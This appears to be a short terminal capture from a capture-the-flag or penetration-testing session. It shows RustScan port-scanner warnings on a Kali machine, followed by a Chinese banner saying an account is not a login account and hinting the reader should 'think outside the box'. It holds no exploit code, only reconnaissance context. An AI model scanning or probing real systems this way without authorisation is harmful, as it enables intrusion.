[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.

大家好，
此帐户不是登录帐户。
如果您想对此帐户进行一些维护，您必须。
或者联系您的管理员。
或者跳出框框去思考。
懒惰，联系你的管理员。
或许你应该多动动脑筋哈，
问候。
